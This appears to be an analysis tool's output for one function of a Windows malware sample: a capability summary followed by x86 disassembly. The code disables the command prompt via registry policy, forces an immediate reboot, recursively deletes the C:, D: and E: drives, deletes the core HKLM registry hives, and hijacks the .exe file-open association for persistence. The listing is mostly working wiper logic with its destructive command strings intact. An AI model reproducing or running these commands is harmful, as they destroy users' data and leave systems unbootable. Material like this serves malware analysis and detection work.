Function at 0x10005300
Capabilities:
Disable system features via registry on windows
Execute command
Persist via default file association registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ecx + 4]
sub esp, 0x14
cmp eax, 4
ja case.default.0x10005315
push esi
push edi
jmp dword [eax*4 + 0x1000556c]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsSystem
push closesocket
mov dword [ebp - 0x10], 4
mov dword [ebp - 8], 0
call esi
push 4
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
push eax
push 4
push 0
push str.DisableCMD
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.SOFTWAREPoliciesMicrosoftWindowsSystem
push closesocket
call esi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push str.DisableCMD
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push str.shutdown__r__t_0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add esp, 4
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.mrdir__s__q_C:__
call edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x2710
call esi
push str.mrdir__s__q_D:__
call edi
add esp, 4
push 0x2710
call esi
push str.mrdir__s__q_E:__
call edi
add esp, 4
push 0x2710
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.REG_DELETE_HKLMHARDWARE__f
call edi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x2710
call esi
push str.REG_DELETE_HKLMSAM__f
call edi
add esp, 4
push 0x2710
call esi
push str.REG_DELETE_HKLMSECURITY__f
call edi
add esp, 4
push 0x2710
call esi
push str.REG_DELETE_HKLMSOFTWARE__f
call edi
add esp, 4
push 0x2710
call esi
push str.REG_DELETE_HKLMSYSTEM__f
call edi
add esp, 4
push 0x2710
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.exefile_shellopencommand
push closesocket
mov dword [ebp - 0xc], 1
mov dword [ebp - 8], 0
call ebx
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 1
push 0x10014751
push 1
push 0
push 0
push dword [ebp - 4]
call edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.exefile_shellopencommand
push closesocket
call ebx
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.exefile_shellopencommand
push closesocket
call ebx
push 1
push 0x10014751
push 1
push 0
push str.IsolatedCommand
push dword [ebp - 4]
call edi
push dword [ebp - 4]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call edi
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push str.exefile_shellopencommand
push closesocket
call ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.IsolatedCommand
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call edi
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret